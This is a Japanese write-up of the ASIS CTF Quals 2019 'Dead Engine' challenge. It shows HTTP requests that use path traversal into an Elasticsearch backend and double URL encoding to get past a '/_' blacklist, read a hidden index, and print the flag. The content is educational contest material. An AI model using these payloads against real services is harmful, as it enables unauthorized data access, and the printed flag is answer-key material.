ASIS CTF Quals 2019 - Dead Engine Writeup

調査

与えられたURLにアクセスすると次のようなページが表示される。何らかの検索サイトっぽい。

f:id:iso0:20190424004814p:plain

*を入力すると色々結果が出てくる。

f:id:iso0:20190424004907p:plain

このときのサーバーへのリクエストとその応答は次の通り。

POST /?action HTTP/1.1
Host: 192.241.183.207
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 19

q=*&endpoint=search
[{"title":"Test hack password ctf","_id":"AWoSY9ipLaY_ZeX1ck7_","_type":"articles","downloadLink":"https:\/\/127.0.0.1\/"},{"title":"CompTIA Network+","_id":"AWoSY9iqLaY_ZeX1ck8B","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/CompTIA-Network-Certification-Seventh-N10-007\/dp\/1260122387"},{"title":"Cracking Codes with Python","_id":"AWoSY9iqLaY_ZeX1ck8A","_type":"articles","downloadLink":"https:\/\/www.amazon.com\/Cracking-Codes-Python-Introduction-Building\/dp\/1593278225"},{"title":"The Web Application Hacker's Handbook","_id":"AWoSY9ieLaY_ZeX1ck79","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Web-Application-Hackers-Handbook-Exploiting\/dp\/1118026470"},{"title":"Red Team Field Manual","_id":"AWoSY9iiLaY_ZeX1ck7-","_type":"articles","downloadLink":"https:\/\/www.amazon.co.uk\/Rtfm-Red-Team-Field-Manual\/dp\/1494295504"}]

a aと入力するとエラーになる。

f:id:iso0:20190424004936p:plain

このときの応答はillegal_argument_exceptionであり、このエラーメッセージからバックエンドではElasticsearchを使っていることがわかる。

検索結果をクリックすると次のようなリクエストが投げられる。

POST /?action HTTP/1.1
Host: 192.241.183.207
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 23

id=AWoSY9ipLaY_ZeX1ck7_

応答はこんな感じ。

"{\"_index\":\"articles\",\"_type\":\"articles\",\"_id\":\"AWoSY9ipLaY_ZeX1ck7_\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Test hack password ctf\",\"category\":\"Computing & Internet -> Networking & Security\",\"downloadLink\":\"https:\/\/127.0.0.1\/\",\"rating\":5,\"price\":\"1000\",\"access\":\"nowhere\",\"date\":\"4\/12\/2019, 4:31:34 PM\"}}"

解き方

ガチャガチャいじっている中で、q=aaa&endpoint=/bbbというリクエストを投げるとError while JSON decoding:No handler found for uri [/articles/articles/_/bbb?q=aaa] and method [GET]というエラーが返ってきた。

/bbbにはもともとsearchが入っていたので、どうやらElasticsearchの_searchで検索をしているということがわかる。また、検索対象をarticlesインデックスのarticlesタイプに絞っていることもわかる。全インデックスを検索対象にする場合はシンプルに/_search?q=*とすれば良い。つまり以下のようなリクエストを投げることにより全てのインデックスのデータが返される。

q=*&endpoint=/../../../_search

応答は次の通り。

...
  {
    "title": "Flag Is Here, Grab it :)",
    "_id": "AWoSY9h7LaY_ZeX1ck78",
    "_type": "fl4g?",
    "downloadLink": null
  }
...

残念ながらまだflagはわからないが、これでflagが書かれているであろうドキュメントのidとtypeが判明した。

引き続きガチャガチャいじっているとid=AAA+BBBというリクエストを投げた際に"{\"error\":{\"root_cause\":[{\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"}],\"type\":\"illegal_argument_exception\",\"reason\":\"invalid version format: BBB HTTP\/1.1\"},\"status\":400}"というエラーが返されることに気づく。BBB HTTP/1.1が無効なバージョンフォーマットということはバックエンドのElasticsearchサーバーに次のようなリクエストが投げられているということが想定できる。

GET /?????/?????AAA BBB HTTP/1.1
...

これを利用することで、indexは次のリクエストで調べることができる。なお、/_という文字列がblacklistされているようだが2回URLエンコードすることでこれを回避している(フロントエンドのWebサーバーで2度デコードされ、Elasticsearchで2回目のデコードがされる)。

id=/../../../%25%35%66aliases
"{\"secr3td4ta\":{\"aliases\":{}},\"articles\":{\"aliases\":{}}}"

これでindexがsecr3td4taであることが判明する。

あとは次のリクエストでflagが書かれているドキュメントを読みだすことができる。

id=/../../../secr3td4ta/fl4g%253f/AWoSY9h7LaY_ZeX1ck78
"{\"_index\":\"secr3td4ta\",\"_type\":\"fl4g?\",\"_id\":\"AWoSY9h7LaY_ZeX1ck78\",\"_version\":1,\"found\":true,\"_source\":{\"title\":\"Flag Is Here, Grab it :)\",\"flag\":\"ASIS{2a6e210f10784c9a0197ba164b94f25d}\"}}"

flagは次の通り。

ASIS{2a6e210f10784c9a0197ba164b94f25d}